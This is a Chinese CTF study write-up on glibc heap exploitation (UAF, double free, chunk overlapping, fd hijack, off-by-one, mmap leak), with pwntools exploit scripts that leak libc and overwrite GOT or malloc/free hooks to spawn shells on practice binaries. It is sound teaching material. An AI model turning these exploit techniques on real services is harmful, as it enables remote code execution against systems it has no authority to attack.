PWN练习---Heap_1

简介: PWN练习---Heap_1

heap_Easy_Uaf

题源:PolarD&N

考点:UAF漏洞(use after free)

源码

程序是一个菜单,可以实现add,dele,edit,puts 堆块内容等的功能。(堆块编号从0开始)

注意到一个存在backdoor的逻辑功能如下:

分析

分析得到 :system函数执行的条件 ----> 堆块a 中前四个字节数据为 Flag。

注意到一开始就申请了堆块 a 并赋值,然后立即销毁。但是没有销毁指针,指针 a 依然指向第一次申请的内存块。

由于堆块被释放后会成为 unsorted bin 或 fastbin**,再次申请一个内存大小与 a 差不多(不大于a)的堆块时,堆块 a 会直接被拿来使用 ,此时由于指针 a,b 指向同一个堆块**,向b堆块写入数据,也就是向a堆块写入数据,在后面对堆块a的内容进行验证时候满足shell执行条件。

exp

略…

pwn141(UAF)

题源:ctfshow–pwn141 (溯源:某比赛真题改编,原题目考点:64位UAF + libc3,并且有函数混淆, 需要重命名。)

考点:32位UAF

参考讲解:第二道真题

源码

  1. add模块

note_1和note_2分别存放两个指针:*print_note_content 和 malloc --> data 的指针。

malloc堆块一:note长度为0x8,note_1与note_2各占据一个字节。

malloc堆块二:根据size确定为data分配堆块大小。

  1. note_1指向地址的函数

  1. show模块

  1. dele模块

这里在将主函数下的堆块释放时候,由于没有销毁堆块指针,因此free函数执行后,堆块指针不会随之销毁,造成UAF漏洞

依次将 note_2指向的data堆块 与 note堆块 释放。

键入“\”使得IDA隐藏/显示指针类型。

解释:

DWORD:双字(0x2 = 2 * 0x1)(32位)

¬elist + v1 :note(v1)的第一部分

(¬elist + v1)+ 4:note(v1)的第二部分 -----> note堆块总长度为0x8(4*0x2)

  1. 发现程序存在后门函数 system(cat /flag); 地址:0x8049684

分析

add之后的堆块结构如下:

dele释放note之后fastbins内容:

思路:想办法将指针note_1与note_2指向同一个位置利用note_2的写入功能将后门函数地址写入,然后利用show模块功能调用note_1指向的地址函数(即后门system),获取到flag。

Step1:先申请两次堆块,然后依次释放。

Step2:再申请一个大小为0x8note,填写data为后门函数地址。

第三次申请的data填写数据时候,会从0x0开始,也就是note_1部分此时即可修改控制字段

**Step3:**调用程序的show功能,将note_1的内容打印。此时就会跳转执行后门函数。

[溯源]

**()Step2:**第三次申请堆块,填写data为puts_got地址。
(
)**Step3:**调用show功能泄漏puts函数地址并接收,计算出system函数地址。

(*)**Step4:释放堆块后再把该堆块申请回来,**填写 data为 :system函数地址 + ||sh。

控制字段:system

数据段:||sh

解释:system的参数指向note整体,形 如: system(system_address || sh)

system参数为地址时候,命令无效,加上 || 实现执行shell。

exp

......
malloc(0x20,b'aaaa')   # malloc(data--size,content)
malloc(0x20,b'bbbb')   #堆块序号从0开始,注意替换
free(0) #free(index)  # free(1)
free(1)         # free(2)
malloc(0x8,p32(0x8049684))
printf(0)        # 该index与释放顺序有关
io.interactive()

PolarD&N–like_it 与pwn141雷同,就不写了。

heap_Double_Free

题源:PolarD&N–heap_Double_Free(简单)

考点:fastbin–双重释放任意地址写

难点:malloc 构造的fake_heap时候申请堆块大小 —> 绕过fastbin检查到chunk_size不一致导致申请失败。

源码

常规菜单题目,注意到 bss段 unk_6010A8 = 113(0x71)。退出程序会验证是否满足shell,否则正常退出。

分析

已知:存在双重释放漏洞

目的:满足shell执行条件。(使得 unk_6010B0 = 0x101)

方法:利用** double free 修改一个堆块的 fd 指针为改写地址(伪造fake_heap)再次malloc向目标地址申请堆块并修改数据。
流程:首先
malloc两次**(或三次,heap_3隔绝top chunk,fastbins通常不合并,本题不需要**)**,然后依次释放1,2,1使得进入fastbin。(见下表)

free(1,2,1) fastbin_1 -------> heap_1 -------> heap_2 -----> heap_1
取出heap_1篡改fd指针
malloc(1) fastbin_1 -------> heap_2 -------> heap_1
edit–>heap_1_fd fastbin_1 -------> heap_2 -------> heap_1 -------> addr
** 依次malloc将目标地址取出来**
malloc(2) fastbin_1 -------> heap_1 -------> addr
malloc(1) fastbin_1 -------> addr
malloc(addr) fastbin_1
修改目标地址数据
edit(addr)

Tip1:edit_fd指针

由于修改数据时候会先接触到 fd 部分,然后才是data区域,因此malloc之后的edit可以修改heap_1的fd指针为任意地址,指向下一个malloc的堆块。

Tip2:size(addr)

heap块起始位置存在size字段,而bss段中目标修改地址前面8字节数据为0x71,由于向该地址malloc堆块的时候,fastbin的 bin 链会检查 size 是否符合当前 idx,异常则会报错退出。

通过查看目标地址的“size”得到0x71,因此需要保证所修改的 chunk 处于 fastbins 的 0x70 链上。

** malloc(x)若 申请到 idx==0x70,则:**

【x+0xF+0x10 异或 0xF == 0x70】(0x60<= x <= 0x68)

未使用的fastbin堆块结构,使用中的没有fd指针。

exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./df')
io = process('./df')
#io = remote('120.46.59.242',2051)
def malloc(id,size,context):
  io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'1')
  io.sendlineafter(b':\n',str(id))
  io.sendline(str(size))
  io.sendlineafter(b':\n',context)
def free(id):
  io.sendlineafter(b'root@ubuntu:~/Desktop$ ',b'2')
  io.sendlineafter(b'id :\n',str(id))
def exit():
  io.sendlineafter(b'/Desktop$ ',b'4')
malloc(0,0x68,b'a'*10)  # malloc的size必须大于等于 0x60  小于 113(0x71)
malloc(1,0x68,b'a'*10)
#malloc(2,0x68,b'a'*10) # 可有可无,有时候chunk2用来隔绝top_chunk,以免发生合并
free(0)
free(1)
free(0)
addr = 0x6010A0
malloc(3,0x68,p64(addr))
malloc(4,0x68,p64(0x101))
malloc(5,0x68,p64(0x101))
malloc(6,0x68,p64(0x101))
exit()
io.interactive()

overlapping + unsortedbin_attack

题源:PolarD&N–Emo_chunk

考点:chunk_overlapping + unsortedbins_leak_malloc_hook

源码

菜单功能:add,deleteeditprint,exit。并且存在后门函数。

分析

主要思路:

首先malloc一些chunk,然后利用 edit 功能的堆溢出漏洞 ---->覆盖下一个chunk的size足够大,然后释放使得进入 unsortedbins,然后再次 malloc 一个较小的chunk(会从unsortedbins切割出来)。由于发现从 unsortedbins(small,large有关也一样) 获得的 chunk 没有清空原来指向 main_arena区域 的指针,并且可以利用 print 功能打印出来该地址。通过调试泄露出来的 addr 与 __malloc_hook 的偏移(是固定的)得到__malloc_hook 的地址

然后从 剩下的 unsortedbins 分割出一个较小的 chunk(或者直接使用剩余的chunk),接着把它释放使得进入 fastbins,edit 第一次从 unsortedbins 的 chunk ,利用堆溢出修改 第二次 分割出来进入 fastbins 的 chunk 的fd指针为 __malloc_hook 附近上方一个地址,【这里的 addr 需要满足 size 位置与所在 fastbins链的 idx 一致,以便绕过 size 的检查,通常是 __malloc_hook - 0x23,该地址数据通常为 0x7f(借位 原数据0x7fxxxxxxxxxx 得到),利用fastbins分配机制进入 0x70 链表】然后回收该 chunk,再次申请一个 chunk。接下来将会从目标地址申请一个 chunk,利用 edit 将数据填充到 __malloc_hook

最后将 addr(__malloc_hoook) 的数据修改为 后门函数地址。(或者one_gadget,shellcode地址等)

【通常__malloc_hook地址的data为0,如果存在函数地址,在进行 malloc时候 就会跳转执行该函数,否则进入 malloc分配算法下一步,___free_hook 也是同理。】

  1. exp图解:

  1. 调试过程部分截图参考:
  2. __malloc_hook 地址在 main_arena 上面 0x10 字节位置

  1. 官方wp的构造payload.

  1. __malloc_hook地址正常情况为零

  1. me思路,直接将__malloc_hook填充为shell地址.

  1. 验证__malloc_hook只占据8字节,__malloc_hook+8地址填充shell无效.

exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
magic = 0x400946
#io = process('./overlap')
io = remote('120.46.59.242',2124)
elf =ELF('./overlap')
def malloc(size):
  io.sendlineafter(b'Choice!\n',b'1')
  io.sendlineafter(b'Size:\n',str(size))
def free(id):
  io.sendlineafter(b'Choice!\n',b'2')
  io.sendlineafter(b'index:',str(id))
def edit(id,content):
  io.sendlineafter(b'Choice!\n',b'3')
  io.sendlineafter(b'index:\n',str(id))
  io.sendafter(b'Change EMo Content\n',content)
def printf(id):
  io.sendlineafter(b'Choice!\n',b'4')
  io.sendlineafter(b'index:\n',str(id))
malloc(0x60) # malloc(0)  
malloc(0x60)   #malloc(1)  
malloc(0x60)  #malloc(2)
malloc(0x60)   #malloc(3)  
edit(0,b'aaaaaaaa'*13+p64(0xe1))  # unsorted_size = 0xe1
free(1)
malloc(0x60)   #malloc(1)   
      #剩余unsorted_size = 0x70,被切割,但是chunk_1原指针(指向内存区域)未被清除,可以用来泄露。
printf(1)
add = u64(io.recv(6).ljust(8,b'\x00')) # main_arena+88
main_arena = add - 0x58 - 0xd0  # 
malloc_hook = main_arena - 0x10 
print(hex(main_arena))
print(hex(malloc_hook))
free(2)
edit(1,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))  
    #将chunk_2进入fastbin后的fd指针修改为 malloc_hook-0x23
malloc(0x60)  # malloc_2
malloc(0x60) # malloc_hook  4
edit(4,b'aaaaaaaa'*2+b'aaa'+p64(magic))
malloc(0x28)  # 5 shell
io.interactive()
......
malloc(0x68) # malloc(0)  
malloc(0x68)   #malloc(1)  
malloc(0x68)  #malloc(2)
malloc(0x68)   #malloc(3)
malloc(0x68)   #  malloc(4)
malloc(0x68)  # malloc(5)
edit(0,b'aaaaaaaa'*13+b'\xe1'+b'\x00'*7)  
free(1)
malloc(0x68)   #malloc(1')    
printf(2)
base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b20 - 0x58 
   # main_arena+88 - offset = libc_base
libc = elf.libc
malloc_hook = base + libc.sym['__malloc_hook']
realloc = base + libc.sym['realloc']
one = 0xaaaa
one_gadget = base + one
free(4)
edit(3,b'aaaaaaaa'*13+b'\x71'+b'\x00'*7+p64(malloc_hook-0x23))
malloc(0x68)  # malloc 4'
malloc(0x68) # malloc 6
edit(6,b'a'*(0x23-0x10)+p64(magic))  # 自修改
# edit(6,b'a'*(0x23-0x10-0x8)+p64(one_gadget)+p64(realloc))  # 官方wp
malloc(0x68) 
io.interactive()

fd–hijack

题源:PolarD&N–worker

考点:篡改 fd / bk 导致 unsortedbins 或 fastbins 任意地址写

源码

常规菜单题目,主函数存在触发shell的条件。

free 函数对 UAF 和 df 采取了防御,不能突破。

edit 函数存在漏洞,可以控制写入字节,造成 overlapping 攻击。

分析

方法一:fastbins_attack

首先申请几个堆块,然后将下面一个堆块释放,对该堆块物理地址相邻的上一个chunk利用堆溢出覆盖fastbins中的chunk的fd指针,通过两次malloc到达目标地址,接着进行改写数据,最后在菜单界面利用index触发shell函数

Tips:写入字节数问题。

这里要注意上一个chunk的fd指针指向下一个chunk的pre_size部分,而data是从本chunk的fd指针位置写入的,如下图:

方法二:unsortedbins_attack

(待定…)

exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./worker')
#io = remote('120.46.59.242',2075)
elf =ELF('./worker')
def malloc(size,content):
  io.sendlineafter(b'Your choice :\n',b'1')
  io.sendafter(b'Size of work:',str(size))
  io.sendafter(b'Content of work:',content)
def free(id):
  io.sendlineafter(b'Your choice :\n',b'3')
  io.sendafter(b'Index :',str(id))
def edit(id,read_size,content):
  io.sendlineafter(b'Your choice :\n',b'2')
  io.sendafter(b'Index :',str(id))
  io.sendafter(b'Size of work :',str(read_size))
  io.sendafter(b'Content of work :',content)
def pwn():
  io.sendlineafter(b'Your choice :\n',b'1285')
malloc(0x60,b'a') # malloc(0)  
malloc(0x60,b'a')   #malloc(1)  
free(1)
fd = 0x6020ad # 或者 0x60209d ---> 0x13*b'a'+p64(0x505)
edit(0,0x100,b'aaaaaaaa'*13+p64(0x71)+p64(fd))
malloc(0x60,p64(fd)) # 任意数据均可 
malloc(0x60,b'a'*(0x3)+p64(0x505)) #  b'0x505' = 0x30 89 35 35  
pwn()
io.interactive()

pwn142(off by one)

题源:ctfshow–pwn142

考点:off by one

源码

  1. add部分如下

首先会申请note控制字段的chunk,大小为0x21

tips:这里申请chunk时候输入的size == 后续可写入字节 - 1,与实际chunk大小无关。

每个note简化为下图模式:

  1. free部分源码

  1. edit

  1. show

分析

思路一:修改 free_got 为system函数地址,chunk内容为 b’/bin/sh\x00’ 开头即可,利用 free(id) 操作获取 shell。

Step1. 申请两个note,(需要满足data的chunk大小为0x21),将第一个note的data填充 b’/bin/sh\x00’ ,接着继续填充 利用 edit 一字节溢出 修改 下一个note的控制chunk size字段,这里以0x41为例。

【由于程序的malloc顺序问题,易知 note_2 的控制chunk在物理地址 紧接着 note_1 的data部分chunk】。

Step2. 将 note_2 释放,由于释放 note_2 的时候 0x21 的控制chunk 被修改为 size:0x41,而data部分的chunk–> size == 0x21【位于控制字段物理地址下面】,因此进入fastbins后会进入不同的 bin 链。

然后再次申请 note,使得 data 刚好获取 0x41 大小的chunk。此时 原先 的控制 chunk 就会被拿出来当作data段chunk,原先data段chunk则被当作 控制chunk,此时该note_2结构如下:【出现两部分共用一个chunk】

而又因为data段chunk大小为0x41,因此edit时候可以做到完全控制 控制chunk的内容。

Step3. 因为control部分chunk包含data大小size字段和指向data的指针,并且show会打印出该指针指向的 地址内容,因此利用edit将控制chunk的指针修改为 free_got 地址,即可利用 show 获取到 free_addr,进而得到system函数地址。

Step4. 因为edit会向指针指向的addr覆写数据,在上一步中已经将该指针修改到了 free_got 地址,直接对该chunk进行edit,写入system函数地址,即可将 free_got 篡改为 system 函数地址。

Step5. 最后释放chunk_1,此时会调用 free_got 地址的函数,即system。然后由于chunk_1的data段先被释放,其内容就会作为system函数的参数,进而获取shell。

或者其他思路…

exp

#glibc远程版本 2.27,本地 2.23
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28103)
elf =ELF('./pwn')
free_got = elf.got['free']
......
malloc(0x18,b'a') # malloc(0)    # 0x21
malloc(0x18,b'a')   #malloc(1)  
edit(0,b'/bin/sh\x00'+b'a'*0x10+p64(0x41))
free(1)
malloc(0x30,b'a'*0x18+p64(0x21)+p64(0x30)+ p64(free_got))
printf(1)
free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free_addr))
libc = elf.libc  
# ELF('/home/kali-2/桌面/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')  
libc_base = free_addr - libc.sym['free']
sys = libc_base + libc.sym['system']
print(hex(sys))
'''
gdb.attach(io)
pause()
'''
edit(1,p64(sys))
free(0)
io.interactive()

uaf

题源:[NewStarCTF 2023 公开赛道-week4] ezheap

考点:UAF + mmap 映射

源码

源码就不放了,主要逻辑如下图:

相对而言(不考虑多个指针指向同一个chunk时候):note指向data的指针 和 data部分的chunk 都不会被释放,note 从bins被取出来会更新该指针指向地址。

注意一下,当调用 edit 功能时候会先进行验证,如果不通过就无法修改内容。

free 掉一个 note 之后,会进入 tcachebins 链表,并且只会清除该 note 的 size 段内容,指向data 的指针被保留。

分析

首先先了解到:当malloc的chunk过大时候,如果使用了mmap范围的大小,会申请到Libc附近,这时候打印,就泄露了Libc。

调试得到:该 chunk 不会归入 heap 部分,也不会参与正常chunk的取回与回收入bins过程,只是作为一个可写地址保存data内容,

vmmap部分调试截图:

payload详细流程参见exp注释。

exp

#flag{da81e664-52b3-4553-90e2-31a6f5086ba7}
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./uaf')
#io = remote('node5.buuoj.cn',27066)
elf =ELF('./uaf')
libc = elf.libc  # ELF('./libc.so.6')
......
# note = malloc(0x20)  # 0x30  +8,+16, == 0 ,+24 == str
malloc(0,0x20,b'a')
malloc(1,0x40000,b'a') # note_1 的 note部分 会记录 mmap映射到的地址
malloc(2,0x20,b'a')
malloc(3,0x20,b'a')
free(1)
free(2)       # tcachebins 【LIFO】
malloc(4,0x20,b'a'*8*3) 
# note_4 的 note 和 data 分别是 note_2 和 note_1的 note部分
show(4)
# 亦即 note_4 的 data chunk 包含着 vmmap 映射的地址,接着利用show进行泄露。
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x10 + 0x41000
#调试计算偏移得到基地址。
print(hex(libc_base))
free_hook = libc.sym['__free_hook'] + libc_base
sys = libc.sym['system'] + libc_base
edit(4,p64(0x40000)+p64(0)*2+p64(free_hook))
# 由于 data_4 就是 note_1_note ,在对 note_1 进行编辑之前需要恢复size绕过检查
# 接着覆盖 note_1 的 note 部分data指针为 free_hook【该部分数据正常情况为0】
edit(1,p64(sys))
# 利用 edit 向 free_hook 地址 写入 system 函数地址,在 free chunk 的时候触发函数
edit(4,b'/bin/sh\x00'+p64(0)*2+p64(free_hook)) 
# 这里填充 p64(free_hook) 与  p64(0) 效果一样
# 由于只有 note 部分可以释放,因此利用 edit(4) 修改 note_1 的 note部分 内容
free(1)
# 释放 note_1 的 note部分,触发shell执行。
io.interactive()
目录
相关文章
|
3月前
|
安全 前端开发 rax
PWN练习---Stack_2
PWN练习---Stack_2
56 0
|
5月前
|
网络协议 安全 Ubuntu
PWN练习---Stack_1
PWN练习---Stack_1
91 3
|
5月前
|
Unix Shell Linux
【pwn.college笔记】Processes and Jobs
【pwn.college笔记】Processes and Jobs
54 4
攻防世界---misc---low
攻防世界---misc---low
|
6月前
|
数据安全/隐私保护
BUUCTF---misc---被偷走的文件
BUUCTF---misc---被偷走的文件
|
6月前
|
数据安全/隐私保护
BUUCTF---misc---菜刀666
BUUCTF---misc---菜刀666
BUUCTF---misc---梅花香之苦寒来
BUUCTF---misc---梅花香之苦寒来
|
6月前
|
数据安全/隐私保护
攻防世界---misc---再见李华
攻防世界---misc---再见李华
攻防世界---misc---Erik-Baleog-and-Olaf
攻防世界---misc---Erik-Baleog-and-Olaf
|
6月前
|
网络协议
攻防世界---misc---easycap
攻防世界---misc---easycap